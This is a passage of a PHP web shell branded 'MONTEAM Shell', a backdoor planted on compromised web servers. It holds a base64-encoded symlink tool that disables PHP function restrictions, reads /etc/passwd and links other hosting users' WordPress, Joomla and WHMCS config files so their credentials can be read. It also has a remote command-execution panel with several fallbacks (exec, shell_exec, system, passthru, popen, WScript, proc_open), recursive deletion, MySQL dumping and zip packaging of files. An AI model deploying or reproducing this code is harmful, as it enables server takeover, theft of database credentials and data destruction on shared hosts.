dCBuYW1lPWluaSB2YWx1ZT0iU3RhcnQiIC8+PC9mb3JtPgo8Zm9ybSBtZXRob2Q9cG9zdD48Zm9udCBzaXplPSI1IiBzdHlsZT0iY29sb3I6d2hpdGU7dGV4dC1zaGFkb3c6IDAgMCAxLjllbSBibHVlLDAgMCAwLjNlbSByZWQ7Ij4yLiBHZXQgY8OhYyB1c2VyIMSR4buDIHRo4buxYyBoaeG7h24gU3ltbGpuayE8L2ZvbnQ+PHA+Cgk8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT0idXNyZSIgdmFsdWU9IlN0YXJ0IiAvPjwvZm9ybT4KCQoJPD9waHAKCS8vc2V0dXAgcGhwIGZvciB3b3JraW5nIHdpdGggVW5pY29kZSBkYXRhCm1iX2ludGVybmFsX2VuY29kaW5nKCdVVEYtOCcpOwptYl9odHRwX291dHB1dCgnVVRGLTgnKTsKbWJfaHR0cF9pbnB1dCgnVVRGLTgnKTsKbWJfbGFuZ3VhZ2UoJ3VuaScpOwptYl9yZWdleF9lbmNvZGluZygnVVRGLTgnKTsKCWlmKGlzc2V0KCRfUE9TVFsnaW5pJ10pKQoJewoJCQoJCSRyPWZvcGVuKCdwaHAuaW5pJywndycpOwoJCSRycj0iIGRpc2JhbGVfZnVuY3Rpb25zPW5vbmUgIjsKCQlmd3JpdGUoJHIsJHJyKTsKCQkkbGluaz0iPGEgaHJlZj1waHAuaW5pPjxmb250IGNvbG9yPXdoaXRlIHNpemU9NCBmYWNlPVwiY29taWMgc2FucyBtc1wiPjx1Pk3hu58gUEhQLklOSTwvdT48L2ZvbnQ+PC9hPiI7CgkJZWNobyAkbGluazsJCgkJfQoJPz4KCTw/cGhwCgkvL3NldHVwIHBocCBmb3Igd29ya2luZyB3aXRoIFVuaWNvZGUgZGF0YQptYl9pbnRlcm5hbF9lbmNvZGluZygnVVRGLTgnKTsKbWJfaHR0cF9vdXRwdXQoJ1VURi04Jyk7Cm1iX2h0dHBfaW5wdXQoJ1VURi04Jyk7Cm1iX2xhbmd1YWdlKCd1bmknKTsKbWJfcmVnZXhfZW5jb2RpbmcoJ1VURi04Jyk7CglpZihpc3NldCgkX1BPU1RbJ3VzcmUnXSkpewoJCT8+PGZvcm0gbWV0aG9kPXBvc3Q+Cgk8dGV4dGFyZWEgcm93cz0xMCBjb2xzPTUwIG5hbWU9dXNlcj48P3BocCAKLy9zZXR1cCBwaHAgZm9yIHdvcmtpbmcgd2l0aCBVbmljb2RlIGRhdGEKbWJfaW50ZXJuYWxfZW5jb2RpbmcoJ1VURi04Jyk7Cm1iX2h0dHBfb3V0cHV0KCdVVEYtOCcpOwptYl9odHRwX2lucHV0KCdVVEYtOCcpOwptYl9sYW5ndWFnZSgndW5pJyk7Cm1iX3JlZ2V4X2VuY29kaW5nKCdVVEYtOCcpOwkkdXNlcnM9ZmlsZSgiL2V0Yy9wYXNzd2QiKTsKZm9yZWFjaCgkdXNlcnMgYXMgJHVzZXIpCnsKJHN0cj1leHBsb2RlKCI6IiwkdXNlcik7CmVjaG8gJHN0clswXS4iXG4iOwp9Cgo/PjwvdGV4dGFyZWE+PGJyPjxicj4KCTxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1IHZhbHVlPSJC4bqvdCDEkeG6p3UgZ2V0IGFsbCBjb25maWciIC8+PC9mb3JtPgoJPD9waHAgfSA/PgoJPD9waHAKCW1iX2ludGVybmFsX2VuY29kaW5nKCdVVEYtOCcpOwptYl9odHRwX291dHB1dCgnVVRGLTgnKTsKbWJfaHR0cF9pbnB1dCgnVVRGLTgnKTsKbWJfbGFuZ3VhZ2UoJ3VuaScpOwptYl9yZWdleF9lbmNvZGluZygnVVRGLTgnKTsKCWVycm9yX3JlcG9ydGluZygwKTsKCWVjaG8gIjxmb250IGNvbG9yPXJlZCBzaXplPTIgZmFjZT1cImNvbWljIHNhbnMgbXNcIj4iOwoJaWYoaXNzZXQoJF9QT1NUWydzdSddKSkKCXsKCW1rZGlyKCdzeW0nLDA3NzcpOwokcnIgID0gIiBPcHRpb25zIGFsbCBcbiBEaXJlY3RvcnlJbmRleCBTdXguaHRtbCBcbiBBZGRUeXBlIHRleHQvcGxhaW4gLnBocCBcbiBBZGRIYW5kbGVyIHNlcnZlci1wYXJzZWQgLnBocCBcbiAgQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sIFxuIEFkZEhhbmRsZXIgdHh0IC5odG1sIFxuIFJlcXVpcmUgTm9uZSBcbiBTYXRpc2Z5IEFueSI7CiRnID0gZm9wZW4oJ3N5bS8uaHRhY2Nlc3MnLCd3Jyk7CmZ3cml0ZSgkZywkcnIpOwokU3ltID0gc3ltbGluaygiLyIsInN5bS9yb290Iik7CgkJICAgICRydD0iPGEgaHJlZj1zeW0vcm9vdD48Zm9udCBjb2xvcj1ibHVlIHNpemU9NCBmYWNlPVwiY29taWMgc2FucyBtc1wiPiBTeW08L2ZvbnQ+PC9hPiI7CiAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9cmVkIHNpemU9NSBmYWNlPVwiY29taWMgc2FucyBtc1wiPk3hu58gUm9vdCAvIGZvbGRlciBzeW1saW5rPC9mb250PiA8YnI+PHU+JHJ0PC91PiI7CgkJCgkJJGRpcj1ta2Rpcignc3ltJywwNzc3KTsKCQkkciAgPSAiIE9wdGlvbnMgYWxsIFxuIERpcmVjdG9yeUluZGV4IFN1eC5odG1sIFxuIEFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIFxuIEFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwIFxuICBBZGRUeXBlIHRleHQvcGxhaW4gLmh0bWwgXG4gQWRkSGFuZGxlciB0eHQgLmh0bWwgXG4gUmVxdWlyZSBOb25lIFxuIFNhdGlzZnkgQW55IjsKICAgICAgICAkZiA9IGZvcGVuKCdzeW0vLmh0YWNjZXNzJywndycpOwogICAKICAgICAgICBmd3JpdGUoJGYsJHIpOwogICAgICAgICRjb25zeW09IjxhIGhyZWY9c3ltLz48Zm9udCBjb2xvcj1ibHVlIHNpemU9NCBmYWNlPVwiY29taWMgc2FucyBtc1wiPmNvbmZpZ3VyYXRpb24gZmlsZXM8L2ZvbnQ+PC9hPiI7CiAgICAgICAJZWNobyAiPGJyPjxmb250IGNvbG9yPXJlZCBzaXplPTUgZmFjZT1cImNvbWljIHNhbnMgbXNcIj5N4bufIGFsbCBjb25maWcgPC9mb250Pjxicj48dT48Zm9udCBjb2xvcj1yZWQgc2l6ZT0yIGZhY2U9XCJjb21pYyBzYW5zIG1zXCI+JGNvbnN5bTwvZm9udD48L3U+IjsKICAgICAgIAkKICAgICAgIAkJJHVzcj1leHBsb2RlKCJcbiIsJF9QT1NUWyd1c2VyJ10pOwogICAgICAgCSRjb25maWd1cmF0aW9uPWFycmF5KCJ3cC1jb25maWcucGhwIiwid29yZHByZXNzL3dwLWNvbmZpZy5waHAiLCJjb25maWd1cmF0aW9uLnBocCIsImJsb2cvd3AtY29uZmlnLnBocCIsImpvb21sYS9jb25maWd1cmF0aW9uLnBocCIsInZiL2luY2x1ZGVzL2NvbmZpZy5waHAiLCJpbmNsdWRlcy9jb25maWcucGhwIiwiY29uZl9nbG9iYWwucGhwIiwiaW5jL2NvbmZpZy5waHAiLCJjb25maWcucGhwIiwiU2V0dGluZ3MucGhwIiwic2l0ZXMvZGVmYXVsdC9zZXR0aW5ncy5waHAiLCJ3aG0vY29uZmlndXJhdGlvbi5waHAiLCJ3aG1jcy9jb25maWd1cmF0aW9uLnBocCIsInN1cHBvcnQvY29uZmlndXJhdGlvbi5waHAiLCJ3aG1jL1dITS9jb25maWd1cmF0aW9uLnBocCIsIndobS9XSE1DUy9jb25maWd1cmF0aW9uLnBocCIsIndobS93aG1jcy9jb25maWd1cmF0aW9uLnBocCIsInN1cHBvcnQvY29uZmlndXJhdGlvbi5waHAiLCJjbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwIiwiY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwIiwiY2xpZW50ZXMvY29uZmlndXJhdGlvbi5waHAiLCJjbGllbnRlL2NvbmZpZ3VyYXRpb24ucGhwIiwiY2xpZW50c3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCIsImJpbGxpbmcvY29uZmlndXJhdGlvbi5waHAiLCJhZG1pbi9jb25maWcucGhwIik7CgkJZm9yZWFjaCgkdXNyIGFzICR1c3MgKQoJCXsKCQkJJHVzPXRyaW0oJHVzcyk7CgkJCQkJCQoJCQlmb3JlYWNoKCRjb25maWd1cmF0aW9uIGFzICRjKQoJCQl7CgkJCSAkcnM9Ii9ob21lLyIuJHVzLiIvcHVibGljX2h0bWwvIi4kYzsKCQkJICRyPSJzeW0vIi4kdXMuIiAuLiAiLiRjOwoJCQkgc3ltbGluaygkcnMsJHIpOwoJCQkKCQl9CgkJCQoJCQl9CgkJCgkJCgkJfQoJCgkKCQoJPz4KPC9jZW50ZXI+CQ==';
2059 $file = fopen("symroot.php", "w+");
2060 $write = fwrite($file, base64_decode($perltoolss));
2061 fclose($file);
2062 echo "<iframe src=symroot.php width=100% height=720px frameborder=0></iframe> ";
2063}
2064if ($action == 'shell') {
2065 if (IS_WIN && IS_COM) {
2066 if ($program && $parameter) {
2067 $shell = new COM('Shell.Application');
2068 $a = $shell->ShellExecute($program, $parameter);
2069 m('Program run has ' . (!$a ? 'success' : 'fail'));
2070 }
2071 !$program && $program = 'c:\indows\ystem32\md.exe';
2072 !$parameter && $parameter = '/c net start > ' . SA_ROOT . 'log.txt';
2073 formhead(array(
2074 'title' => 'Execute Program'
2075 ));
2076 makehide('action', 'shell');
2077 makeinput(array(
2078 'title' => 'Program',
2079 'name' => 'program',
2080 'value' => $program,
2081 'newline' => 1
2082 ));
2083 p('<p>');
2084 makeinput(array(
2085 'title' => 'Parameter',
2086 'name' => 'parameter',
2087 'value' => $parameter
2088 ));
2089 makeinput(array(
2090 'name' => 'submit',
2091 'class' => 'bt',
2092 'type' => 'submit',
2093 'value' => 'Execute'
2094 ));
2095 p('</p>');
2096 formfoot();
2097 }
2098 formhead(array(
2099 'title' => 'Execute Command'
2100 ));
2101 makehide('action', 'shell');
2102 if (IS_WIN && IS_COM) {
2103 $execfuncdb = array(
2104 'phpfunc' => 'phpfunc',
2105 'wscript' => 'wscript',
2106 'proc_open' => 'proc_open'
2107 );
2108 makeselect(array(
2109 'title' => 'Use:',
2110 'name' => 'execfunc',
2111 'option' => $execfuncdb,
2112 'selected' => $execfunc,
2113 'newline' => 1
2114 ));
2115 }
2116 p('<p>');
2117 makeinput(array(
2118 'title' => 'Command',
2119 'name' => 'command',
2120 'value' => $command
2121 ));
2122 makeinput(array(
2123 'name' => 'submit',
2124 'class' => 'bt',
2125 'type' => 'submit',
2126 'value' => 'Execute'
2127 ));
2128 p('</p>');
2129 formfoot();
2130 if ($command) {
2131 p('<hr width="100%" noshade /><pre>');
2132 if ($execfunc == 'wscript' && IS_WIN && IS_COM) {
2133 $wsh = new COM('WScript.shell');
2134 $exec = $wsh->exec('cmd.exe /c ' . $command);
2135 $stdout = $exec->StdOut();
2136 $stroutput = $stdout->ReadAll();
2137 echo $stroutput;
2138 } elseif ($execfunc == 'proc_open' && IS_WIN && IS_COM) {
2139 $descriptorspec = array(
2140 0 => array(
2141 'pipe',
2142 'r'
2143 ),
2144 1 => array(
2145 'pipe',
2146 'w'
2147 ),
2148 2 => array(
2149 'pipe',
2150 'w'
2151 )
2152 );
2153 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
2154 if (is_resource($process)) {
2155 fwrite($pipes[0], $command . "
2156");
2157 fwrite($pipes[0], "exit
2158");
2159 fclose($pipes[0]);
2160 while (!feof($pipes[1])) {
2161 echo fgets($pipes[1], 1024);
2162 }
2163 fclose($pipes[1]);
2164 while (!feof($pipes[2])) {
2165 echo fgets($pipes[2], 1024);
2166 }
2167 fclose($pipes[2]);
2168 proc_close($process);
2169 }
2170 } else {
2171 echo (execute($command));
2172 }
2173 p('</pre>');
2174 }
2175}
2176?></td></tr></table>
2177<div style="padding:10px;border-bottom:1px solid #0E0E0E;border-top:1px solid #0E0E0E;background:#0E0E0E;">
2178 <span style="float:right;"><?php
2179debuginfo();
2180ob_end_flush();
2181?></span>
2182 Copyright @ 2015 By: <a href=http://facebook.com/tienkira1 target=_blank><B>.:: MONTEAM ::. </B></a>
2183</div>
2184</body>
2185</html>
2186<?php
2187function m($msg)
2188{
2189 echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
2190 echo $msg;
2191 echo '</div>';
2192}
2193function scookie($key, $value, $life = 0, $prefix = 1)
2194{
2195 global $admin, $timestamp, $_SERVER;
2196 $key = ($prefix ? $admin['cookiepre'] : '') . $key;
2197 $life = $life ? $life : $admin['cookielife'];
2198 $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
2199 setcookie($key, $value, $timestamp + $life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
2200}
2201function multi($num, $perpage, $curpage, $tablename)
2202{
2203 $multipage = '';
2204 if ($num > $perpage) {
2205 $page = 10;
2206 $offset = 5;
2207 $pages = @ceil($num / $perpage);
2208 if ($page > $pages) {
2209 $from = 1;
2210 $to = $pages;
2211 } else {
2212 $from = $curpage - $offset;
2213 $to = $curpage + $page - $offset - 1;
2214 if ($from < 1) {
2215 $to = $curpage + 1 - $from;
2216 $from = 1;
2217 if (($to - $from) < $page && ($to - $from) < $pages) {
2218 $to = $page;
2219 }
2220 } elseif ($to > $pages) {
2221 $from = $curpage - $pages + $to;
2222 $to = $pages;
2223 if (($to - $from) < $page && ($to - $from) < $pages) {
2224 $from = $pages - $page + 1;
2225 }
2226 }
2227 }
2228 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', 1);">First</a> ' : '') . ($curpage > 1 ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . ($curpage - 1) . ');">Prev</a> ' : '');
2229 for ($i = $from; $i <= $to; $i++) {
2230 $multipage .= $i == $curpage ? $i . ' ' : '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . $i . ');">[' . $i . ']</a> ';
2231 }
2232 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . ($curpage + 1) . ');">Next</a>' : '') . ($to < $pages ? ' <a href="javascript:settable(\'' . $tablename . '\', \'\', ' . $pages . ');">Last</a>' : '');
2233 $multipage = $multipage ? '<p>Pages: ' . $multipage . '</p>' : '';
2234 }
2235 return $multipage;
2236}
2237function loginpage()
2238{
2239?><html>
2240<head>
2241
2242
2243
2244 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
2245<title>.:: MONTEAM SHELL ::. </title>
2246<style type="text/css">
2247A:link {text-decoration: none; color: green }
2248A:visited {text-decoration: none;color:red}
2249A:active {text-decoration: none}
2250A:hover {text-decoration: underline; color: green;}
2251input, textarea, button
2252{
2253 font-size: 11pt;
2254 color: #FFFFFF;
2255 font-family: verdana, sans-serif;
2256 background-color: #000000;
2257 border-left: 2px dashed #8B0000;
2258 border-top: 2px dashed #8B0000;
2259 border-right: 2px dashed #8B0000;
2260 border-bottom: 2px dashed #8B0000;
2261}
2262 body
2263{
2264 background: url(http://24.media.tumblr.com/a1fd8adb28873f209af8e889057829fd/tumblr_ms0eoaxZ5J1sbavuuo1_500.gif)
2265}
2266
2267
2268</style>
2269
2270
2271 <BR><BR>
2272 <center> <img src=http://i.imgur.com/p3RrAg0.jpg id='image'width="900" height="150"><br>
2273 <form method="POST" action="">
2274 <input name="password" type="password" size="20">
2275 <input type="hidden" name="doing" value="login">
2276 <input type="submit" value="monteam">
2277 </form>
2278<BR>
2279<B><font color=#FFFFFF>
2280<a href=http://facebook.com/tienkira1 target=_blank></a></b>
2281</div>
2282 </fieldset>
2283</head></br></br>
2284<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
2285<center><font size="6" style="color:white;text-shadow: 0 0 1.9em red,0 0 0.3em red;"><b>MONTEAM Shell</b></font><br></center>
2286<center><font size="6" style="color:white;text-shadow: 0 0 1.9em red,0 0 0.3em red;"><b>Welcome to my Shell<br></center>
2287<object width="1" height="1"> <param name="movie" value="http://www.nhaccuatui.com/m/sVFtQbLu7DKm" /> <param name="quality" value="high" /> <param name="wmode" value="transparent" /> <param name="allowscriptaccess" value="always" /> <param name="allowfullscreen" value="true"/> <param name="flashvars" value="autostart=true" /> <embed src="http://www.nhaccuatui.com/m/sVFtQbLu7DKm" flashvars="target=blank&autostart=true" allowscriptaccess="always" allowfullscreen="true" quality="high" wmode="transparent" type="application/x-shockwave-flash" width="1" height="1"></embed></object>
2288</html>
2289<?php
2290//setup php for working with Unicode data
2291mb_internal_encoding('UTF-8');
2292mb_http_output('UTF-8');
2293mb_http_input('UTF-8');
2294mb_language('uni');
2295mb_regex_encoding('UTF-8');
2296ob_start('mb_output_handler');
2297 exit;
2298}
2299function execute($cfe)
2300{
2301 $res = '';
2302 if ($cfe) {
2303 if (function_exists('exec')) {
2304 @exec($cfe, $res);
2305 $res = join("
2306", $res);
2307 } elseif (function_exists('shell_exec')) {
2308 $res = @shell_exec($cfe);
2309 } elseif (function_exists('system')) {
2310 @ob_start();
2311 @system($cfe);
2312 $res = @ob_get_contents();
2313 @ob_end_clean();
2314 } elseif (function_exists('passthru')) {
2315 @ob_start();
2316 @passthru($cfe);
2317 $res = @ob_get_contents();
2318 @ob_end_clean();
2319 } elseif (@is_resource($f = @popen($cfe, "r"))) {
2320 $res = '';
2321 while (!@feof($f)) {
2322 $res .= @fread($f, 1024);
2323 }
2324 @pclose($f);
2325 }
2326 }
2327 return $res;
2328}
2329function which($pr)
2330{
2331 $path = execute("which $pr");
2332 return ($path ? $path : $pr);
2333}
2334function cf($fname, $text)
2335{
2336 if ($fp = @fopen($fname, 'w')) {
2337 @fputs($fp, @base64_decode($text));
2338 @fclose($fp);
2339 }
2340}
2341function debuginfo()
2342{
2343 global $starttime;
2344 $mtime = explode(' ', microtime());
2345 $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
2346 echo ' Xử lí trong ' . $totaltime . ' giây(s)';
2347}
2348function dbconn($dbhost, $dbuser, $dbpass, $dbname = '', $charset = '', $dbport = '3306')
2349{
2350 if (!$link = @mysql_connect($dbhost . ':' . $dbport, $dbuser, $dbpass)) {
2351 p('<h2>Không thể kết nối tơi MySQL server</h2>');
2352 exit;
2353 }
2354 if ($link && $dbname) {
2355 if (!@mysql_select_db($dbname, $link)) {
2356 p('<h2>Database chọn lỗi</h2>');
2357 exit;
2358 }
2359 }
2360 if ($link && mysql_get_server_info() > '4.1') {
2361 if (in_array(strtolower($charset), array(
2362 'gbk',
2363 'big5',
2364 'utf8'
2365 ))) {
2366 q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
2367 }
2368 }
2369 return $link;
2370}
2371function s_array(&$array)
2372{
2373 if (is_array($array)) {
2374 foreach ($array as $k => $v) {
2375 $array[$k] = s_array($v);
2376 }
2377 } else if (is_string($array)) {
2378 $array = stripslashes($array);
2379 }
2380 return $array;
2381}
2382function html_clean($content)
2383{
2384 $content = htmlspecialchars($content);
2385 $content = str_replace("\n", "<br />", $content);
2386 $content = str_replace(" ", " ", $content);
2387 $content = str_replace("\t", " ", $content);
2388 return $content;
2389}
2390function getChmod($filepath)
2391{
2392 return substr(base_convert(@fileperms($filepath), 10, 8), -4);
2393}
2394function getPerms($filepath)
2395{
2396 $mode = @fileperms($filepath);
2397 if (($mode & 0xC000) === 0xC000) {
2398 $type = 's';
2399 } elseif (($mode & 0x4000) === 0x4000) {
2400 $type = 'd';
2401 } elseif (($mode & 0xA000) === 0xA000) {
2402 $type = 'l';
2403 } elseif (($mode & 0x8000) === 0x8000) {
2404 $type = '-';
2405 } elseif (($mode & 0x6000) === 0x6000) {
2406 $type = 'b';
2407 } elseif (($mode & 0x2000) === 0x2000) {
2408 $type = 'c';
2409 } elseif (($mode & 0x1000) === 0x1000) {
2410 $type = 'p';
2411 } else {
2412 $type = '?';
2413 }
2414 $owner['read'] = ($mode & 00400) ? 'r' : '-';
2415 $owner['write'] = ($mode & 00200) ? 'w' : '-';
2416 $owner['execute'] = ($mode & 00100) ? 'x' : '-';
2417 $group['read'] = ($mode & 00040) ? 'r' : '-';
2418 $group['write'] = ($mode & 00020) ? 'w' : '-';
2419 $group['execute'] = ($mode & 00010) ? 'x' : '-';
2420 $world['read'] = ($mode & 00004) ? 'r' : '-';
2421 $world['write'] = ($mode & 00002) ? 'w' : '-';
2422 $world['execute'] = ($mode & 00001) ? 'x' : '-';
2423 if ($mode & 0x800) {
2424 $owner['execute'] = ($owner['execute'] == 'x') ? 's' : 'S';
2425 }
2426 if ($mode & 0x400) {
2427 $group['execute'] = ($group['execute'] == 'x') ? 's' : 'S';
2428 }
2429 if ($mode & 0x200) {
2430 $world['execute'] = ($world['execute'] == 'x') ? 't' : 'T';
2431 }
2432 return $type . $owner['read'] . $owner['write'] . $owner['execute'] . $group['read'] . $group['write'] . $group['execute'] . $world['read'] . $world['write'] . $world['execute'];
2433}
2434function getUser($filepath)
2435{
2436 if (function_exists('posix_getpwuid')) {
2437 $array = @posix_getpwuid(@fileowner($filepath));
2438 if ($array && is_array($array)) {
2439 return ' / <a href="#" title="User: ' . $array['name'] . '
Passwd: ' . $array['passwd'] . '
Uid: ' . $array['uid'] . '
gid: ' . $array['gid'] . '
Gecos: ' . $array['gecos'] . '
Dir: ' . $array['dir'] . '
Shell: ' . $array['shell'] . '">' . $array['name'] . '</a>';
2440 }
2441 }
2442 return '';
2443}
2444function deltree($deldir)
2445{
2446 $mydir = @dir($deldir);
2447 while ($file = $mydir->read()) {
2448 if ((is_dir($deldir . '/' . $file)) && ($file != '.') && ($file != '..')) {
2449 @chmod($deldir . '/' . $file, 0777);
2450 deltree($deldir . '/' . $file);
2451 }
2452 if (is_file($deldir . '/' . $file)) {
2453 @chmod($deldir . '/' . $file, 0777);
2454 @unlink($deldir . '/' . $file);
2455 }
2456 }
2457 $mydir->close();
2458 @chmod($deldir, 0777);
2459 return @rmdir($deldir) ? 1 : 0;
2460}
2461function bg()
2462{
2463 global $bgc;
2464 return ($bgc++ % 2 == 0) ? 'alt1' : 'alt2';
2465}
2466function getPath($scriptpath, $nowpath)
2467{
2468 if ($nowpath == '.') {
2469 $nowpath = $scriptpath;
2470 }
2471 $nowpath = str_replace('\\', '/', $nowpath);
2472 $nowpath = str_replace('//', '/', $nowpath);
2473 if (substr($nowpath, -1) != '/') {
2474 $nowpath = $nowpath . '/';
2475 }
2476 return $nowpath;
2477}
2478function getUpPath($nowpath)
2479{
2480 $pathdb = explode('/', $nowpath);
2481 $num = count($pathdb);
2482 if ($num > 2) {
2483 unset($pathdb[$num - 1], $pathdb[$num - 2]);
2484 }
2485 $uppath = implode('/', $pathdb) . '/';
2486 $uppath = str_replace('//', '/', $uppath);
2487 return $uppath;
2488}
2489function getcfg($varname)
2490{
2491 $result = get_cfg_var($varname);
2492 if ($result == 0) {
2493 return 'No';
2494 } elseif ($result == 1) {
2495 return 'Yes';
2496 } else {
2497 return $result;
2498 }
2499}
2500function getfun($funName)
2501{
2502 return (false !== function_exists($funName)) ? 'Yes' : 'No';
2503}
2504function GetList($dir)
2505{
2506 global $dirdata, $j, $nowpath;
2507 !$j && $j = 1;
2508 if ($dh = opendir($dir)) {
2509 while ($file = readdir($dh)) {
2510 $f = str_replace('//', '/', $dir . '/' . $file);
2511 if ($file != '.' && $file != '..' && is_dir($f)) {
2512 if (is_writable($f)) {
2513 $dirdata[$j]['filename'] = str_replace($nowpath, '', $f);
2514 $dirdata[$j]['mtime'] = @date('Y-m-d H:i:s', filemtime($f));
2515 $dirdata[$j]['dirchmod'] = getChmod($f);
2516 $dirdata[$j]['dirperm'] = getPerms($f);
2517 $dirdata[$j]['dirlink'] = ue($dir);
2518 $dirdata[$j]['server_link'] = $f;
2519 $dirdata[$j]['client_link'] = ue($f);
2520 $j++;
2521 }
2522 GetList($f);
2523 }
2524 }
2525 closedir($dh);
2526 clearstatcache();
2527 return $dirdata;
2528 } else {
2529 return array();
2530 }
2531}
2532function qy($sql)
2533{
2534 $res = $error = '';
2535 if (!$res = @mysql_query($sql)) {
2536 return 0;
2537 } else if (is_resource($res)) {
2538 return 1;
2539 } else {
2540 return 2;
2541 }
2542 return 0;
2543}
2544function q($sql)
2545{
2546 return @mysql_query($sql);
2547}
2548function fr($qy)
2549{
2550 mysql_free_result($qy);
2551}
2552function sizecount($size)
2553{
2554 if ($size > 1073741824) {
2555 $size = round($size / 1073741824 * 100) / 100 . ' G';
2556 } elseif ($size > 1048576) {
2557 $size = round($size / 1048576 * 100) / 100 . ' M';
2558 } elseif ($size > 1024) {
2559 $size = round($size / 1024 * 100) / 100 . ' K';
2560 } else {
2561 $size = $size . ' B';
2562 }
2563 return $size;
2564}
2565class PHPZip
2566{
2567 var $out = '';
2568 function PHPZip($dir)
2569 {
2570 if (@function_exists('gzcompress')) {
2571 $curdir = getcwd();
2572 if (is_array($dir))
2573 $filelist = $dir;
2574 else {
2575 $filelist = $this->GetFileList($dir);
2576 foreach ($filelist as $k => $v)
2577 $filelist[] = substr($v, strlen($dir) + 1);
2578 }
2579 if ((!empty($dir)) && (!is_array($dir)) && (file_exists($dir)))
2580 chdir($dir);
2581 else
2582 chdir($curdir);
2583 if (count($filelist) > 0) {
2584 foreach ($filelist as $filename) {
2585 if (is_file($filename)) {
2586 $fd = fopen($filename, 'r');
2587 $content = @fread($fd, filesize($filename));
2588 fclose($fd);
2589 if (is_array($dir))
2590 $filename = basename($filename);
2591 $this->addFile($content, $filename);
2592 }
2593 }
2594 $this->out = $this->file();
2595 chdir($curdir);
2596 }
2597 return 1;
2598 } else
2599 return 0;
2600 }
2601 function GetFileList($dir)
2602 {
2603 static $a;
2604 if (is_dir($dir)) {
2605 if ($dh = opendir($dir)) {
2606 while ($file = readdir($dh)) {
2607 if ($file != '.' && $file != '..') {
2608 $f = $dir . '/' . $file;
2609 if (is_dir($f))
2610 $this->GetFileList($f);
2611 $a[] = $f;
2612 }
2613 }
2614 closedir($dh);
2615 }
2616 }
2617 return $a;
2618 }
2619 var $datasec = array();
2620 var $ctrl_dir = array();
2621 var $eof_ctrl_dir = "\50\4b\05\06\00\00\00\00";
2622 var $old_offset = 0;
2623 function unix2DosTime($unixtime = 0)
2624 {
2625 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
2626 if ($timearray['year'] < 1980) {
2627 $timearray['year'] = 1980;
2628 $timearray['mon'] = 1;
2629 $timearray['mday'] = 1;
2630 $timearray['hours'] = 0;
2631 $timearray['minutes'] = 0;
2632 $timearray['seconds'] = 0;
2633 }
2634 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
2635 }
2636 function addFile($data, $name, $time = 0)
2637 {
2638 $name = str_replace('\\', '/', $name);
2639 $dtime = dechex($this->unix2DosTime($time));
2640 $hexdtime = '\x' . $dtime[6] . $dtime[7] . '\x' . $dtime[4] . $dtime[5] . '\x' . $dtime[2] . $dtime[3] . '\x' . $dtime[0] . $dtime[1];
2641 eval('$hexdtime = "' . $hexdtime . '";');
2642 $fr = "\x50\x4b\x03\x04";
2643 $fr .= "\x14\x00";
2644 $fr .= "\x00\x00";
2645 $fr .= "\x08\x00";
2646 $fr .= $hexdtime;
2647 $unc_len = strlen($data);
2648 $crc = crc32($data);
2649 $zdata = gzcompress($data);
2650 $c_len = strlen($zdata);
2651 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
2652 $fr .= pack('V', $crc);
2653 $fr .= pack('V', $c_len);
2654 $fr .= pack('V', $unc_len);
2655 $fr .= pack('v', strlen($name));
2656 $fr .= pack('v', 0);
2657 $fr .= $name;
2658 $fr .= $zdata;
2659 $fr .= pack('V', $crc);
2660 $fr .= pack('V', $c_len);
2661 $fr .= pack('V', $unc_len);
2662 $this->datasec[] = $fr;
2663 $new_offset = strlen(implode('', $this->datasec));
2664 $cdrec = "\x50\x4b\x01\x02";
2665 $cdrec .= "\x00\x00";
2666 $cdrec .= "\x14\x00";
2667 $cdrec .= "\x00\x00";
2668 $cdrec .= "\x08\x00";
2669 $cdrec .= $hexdtime;
2670 $cdrec .= pack('V', $crc);
2671 $cdrec .= pack('V', $c_len);
2672 $cdrec .= pack('V', $unc_len);
2673 $cdrec .= pack('v', strlen($name));
2674 $cdrec .= pack('v', 0);
2675 $cdrec .= pack('v', 0);
2676 $cdrec .= pack('v', 0);
2677 $cdrec .= pack('v', 0);
2678 $cdrec .= pack('V', 32);
2679 $cdrec .= pack('V', $this->old_offset);
2680 $this->old_offset = $new_offset;
2681 $cdrec .= $name;
2682 $this->ctrl_dir[] = $cdrec;
2683 }
2684 function file()
2685 {
2686 $data = implode('', $this->datasec);
2687 $ctrldir = implode('', $this->ctrl_dir);
2688 return $data . $ctrldir . $this->eof_ctrl_dir . pack('v', sizeof($this->ctrl_dir)) . pack('v', sizeof($this->ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\00\00";
2689 }
2690}
2691function sqldumptable($table, $fp = 0)
2692{
2693 $tabledump = "DROP TABLE IF EXISTS $table;
2694";
2695 $tabledump .= "CREATE TABLE $table (
2696";
2697 $firstfield = 1;
2698 $fields = q("SHOW FIELDS FROM $table");
2699 while ($field = mysql_fetch_array($fields)) {
2700 if (!$firstfield) {
2701 $tabledump .= ",
2702";
2703 } else {
2704 $firstfield = 0;
2705 }
